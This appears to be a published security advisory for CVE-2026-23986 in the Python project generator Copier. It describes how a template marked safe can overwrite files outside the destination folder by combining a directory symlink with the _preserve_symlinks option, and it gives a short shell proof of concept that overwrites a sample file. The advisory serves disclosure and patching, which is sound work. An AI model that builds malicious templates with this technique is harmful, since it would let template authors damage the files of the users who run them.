high7.1

CVE-2026-23986

Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true

Impact

### Impact Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with [`_preserve_symlinks: true`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) and a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc. > [!NOTE] > > At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using [`os.scandir`](https://docs.python.org/3/library/os.html#os.scandir) which yields directory entries in arbitrary order. Reproducible example (may or may not work depending on directory entry yield order): ```shell mkdir other/ pushd other/ echo "sensitive" > sensitive.txt popd mkdir src/ pushd src/ ln -s ../other other echo "overwritten" > "{{ pathjoin('other', 'sensitive.txt') }}.jinja" echo "_preserve_symlinks: true" > copier.yml tree . # . # ├── copier.yml # ├── other -> ../other # └── {{ pathjoin('other', 'sensitive.txt') }}.jinja # # 1 directory, 2 files popd uvx copier copy --overwrite src/ dst/ cat other/sensitive.txt # overwritten ``` ### Patches n/a ### Workarounds n/a ### References n/a

Affected packages

Ecosystem	Package	Affected	Fixed in
pip	`copier`	< 9.11.2	9.11.2

Affected products

Vendor	Product	Affected versions
Copier-Org	Copier	before 9.11.2

Weakness classification

CWE-61